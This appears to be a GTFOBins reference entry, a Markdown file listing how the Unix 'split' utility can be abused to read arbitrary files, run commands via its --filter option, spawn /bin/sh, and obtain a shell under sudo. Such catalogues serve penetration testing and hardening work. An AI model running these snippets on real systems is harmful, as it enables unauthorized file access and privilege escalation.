GTFOBins.github.io/_gtfobins/split.md
2020-12-20 21:15:58 +01:00

28 lines
705 B
Markdown

---
functions:
file-read:
- code: |
LFILE=file_to_read
TF=$(mktemp)
split $LFILE $TF
cat $TF*
command:
- description: Command execution using an existing or newly created file.
code: |
COMMAND=id
TF=$(mktemp)
split --filter=$COMMAND $TF
- description: Command execution using stdin (and close it directly).
code: |
COMMAND=id
echo | split --filter=$COMMAND /dev/stdin
shell:
- description: The shell prompt is not printed.
code: |
split --filter=/bin/sh /dev/stdin
sudo:
- description: The shell prompt is not printed.
code: |
split --filter=/bin/sh /dev/stdin
---